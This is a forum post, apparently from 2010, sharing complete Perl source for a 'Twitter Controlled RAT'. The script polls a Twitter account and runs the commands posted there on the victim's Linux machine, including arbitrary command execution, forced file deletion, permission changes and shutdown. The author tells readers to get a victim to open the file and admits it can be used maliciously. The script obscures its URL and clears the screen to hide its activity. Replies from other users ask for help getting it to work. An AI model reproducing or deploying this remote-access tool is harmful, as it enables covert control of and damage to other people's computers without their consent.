Twitter Controlled RAT (Mobile accessible)

gotroot's Avatar author of Twitter Controlled RAT (Mobile accessible)
This is an article on Twitter Controlled RAT (Mobile accessible) in Perl.
Rated 5.00 By 1 users
For my first thread i will post my new twitter bot/rat.

This will only work on linux and possibly mac

Its more of a funny prank than a rat, but it can be used for malicious purposes.

You need to get your victim to open the .pl file on their computer and leave it open, if your using this on your friends, just go to their house and open it, then when theyre on, use your mobile to post tweet commands and mess with their computer :P.

This version currently only works for linux!

It connects to twitter every 5 seconds, and looks for any command.

All you do is post one of the commands in my program on your twitter.

The script reads the command and executes it.

To find all the commands and explanations type:
Code:
perl tweet.pl -h
in your terminal and you can also execute any command by posting this on twitter
Code:
::EXEC.cmd.::
change cmd to the command you want to execute.
Code:
::EXEC.cat shutdown -p.::
The syntax for my commands is
Code:
::COMMAND.parameters.::
The reason for this syntax is so the script can be sure to pick up the right code

Here it is.
Code:
#!/usr/bin/perl -w
# tweet.pl
# twitter remote shell
# executes commands from twitter
# linux version
# coded by gotroot- 
# usage: perl tweet.pl <twitter_username>

# command help: perl tweet.pl -h
use LWP::UserAgent;
use HTTP::Request;
my $num = 'yes';
my $acc = $ARGV[0];
if($acc eq '-h') {
system('clear');
print "\n";
print "###############################################\n";
print "#         Twitter RAT Command List            #\n";
print "#      Post these on your twitter account     #\n";
print "#         Delete them to stop function        #\n";
print "###############################################\n";
print "#      Command      #        Function         #\n";
print "###############################################\n";
print "#  ::MKDIR.dir.::   # Makes directory \"dir\"   #\n";
print "#  ::EXIT.shell.::  #        Quits bot        #\n";
print "#  ::CHMOD.file.::  #       rwx for file      #\n";
print "#    ::RM.file.::   #       Deletes file      #\n";
print "#::CP.file1.file2.::#  copies file1 to file2  #\n";
print "#    ::CD.dir.::    # goes to directory dir   #\n";
print "#   ::EJECT.def.::  #  ejects default drive   #\n";
print "#   ::EXEC.cmd.::   #   Executes command      #\n";
print "# ::SHUTDOWN.cmp.:: #  Shuts computer down    #\n";
print "# ::SHUTDOWN.rb.::  #    Reboots computer     #\n";
print "###############################################\n";
print "#      The following are variables            #\n";
print "###############################################\n";
print "#     dir - Change to directory to use        #\n";
print "# file - Change to file to execute command on #\n";
print "#file1, file2 - Change these to the copy files#\n";
print "#   cmd - change to linux command to execute  #\n";
print "###############################################\n";
print "#                   Examples                  #\n";
print "###############################################\n";
print "#                ::MKDIR.gotroot.::           #\n";
print "#    This makes a directory named gotroot     #\n";
print "#             ::CHMOD.setup.exe.::            #\n";
print "#      This gives rwx perms to setup.exe      #\n";
print "#               ::RM.readme.txt.::            #\n";
print "#              Deletes readme.txt             #\n";
print "#         ::CP.default.php.index.php.::       #\n";
print "#         Copies default.php to index.php     #\n";
print "#            Then deletes default.php         #\n";
print "###############################################\n";
exit();
}
my $twitter = 'ht'.'tp:'.'//ww'.'w.twit'.'ter.c'.'om'.'/';
my $acurl = $twitter .$acc;
my $OS = $^O;
if($OS =~ m/win/gi) {
print "# --> You are running windows, must have linux. Program will exit\n";
exit();
}
sub dothis() {
system('clear');
sleep(5);
my $request = HTTP::Request->new(GET=>$acurl);
my $ua = new LWP::UserAgent;
$ua->timeout(10);
my $response = $ua->request($request);
if($response->is_success){
my $code = $response->content;
if($code =~ m/::MKDIR.(.*?).::/gi){
my $a = $1;
system('mkdir '.$a);
} else {
if($code =~ m/::EXIT.shell.::/gi){
system('clear'); # remove visisble logs
exit();
} else {
if($code =~ m/::CHMOD.(.*?).::/gi){
my $a = $1;
system('chmod og=rwx '.$a);
} else {
if($code =~ m/::RM.(.*?).::/gi){
my $a = $1;
system('rm -f '.$a);
} else {
if($code =~ m/::CP.(.*?).(.*?).::/gi){
my ($a,$b) = ($1,$2);
system('CP -f '.$a.' '.$b);
} else {
if($code =~ m/::CD.(.*?).::/gi){
my $a = $1;
system('cd '.$a);
} else {
if($code =~ m/::EJECT.def.::/gi){
system('eject');
} else {
if($code =~ m/::EXEC.(.*?).::/gi){
my $a = $1;
system('exec '.$a);
} else {
if($code =~ m/::SHUTDOWN.cmp.::/gi){
system("shutdown -p");
} else {
if($code =~ m/::SHUTDOWN.rb.::/gi){
system("shutdown -r");
}
}
}
}
}
}
}
}
}
}
}
}
dothis() while($num eq 'yes');
# One bot to trick to rule them all
Hope you can find a good use for this, i just made it to trick my friends.
(not that making your friends computer shut down every 5 seconds is a bad use :P)

gotroot->out
0
gotroot's Avatar
Light Poster
typo at end of code
its meant to be
#One bot to trick them all

its a comment anyway so it dont matter
0
unni krishnan.r's Avatar, Join Date: Apr 2010
Skilled contributor
Nice post please how to acces in ma mobile
0
unni krishnan.r's Avatar, Join Date: Apr 2010
Skilled contributor
sorry this is not working
0
gotroot's Avatar
Light Poster
the computer you run it on must have linux.
the shutdown commands need authenticating so leave them out.
use it on an account that has no subscribers or messages on it
0
unni krishnan.r's Avatar, Join Date: Apr 2010
Skilled contributor
still probs
0
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
If you liked this article do nominate this article for Article of the month - May 2010
0
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
You can vote for this article for Article of the month - May 2010. Vote now.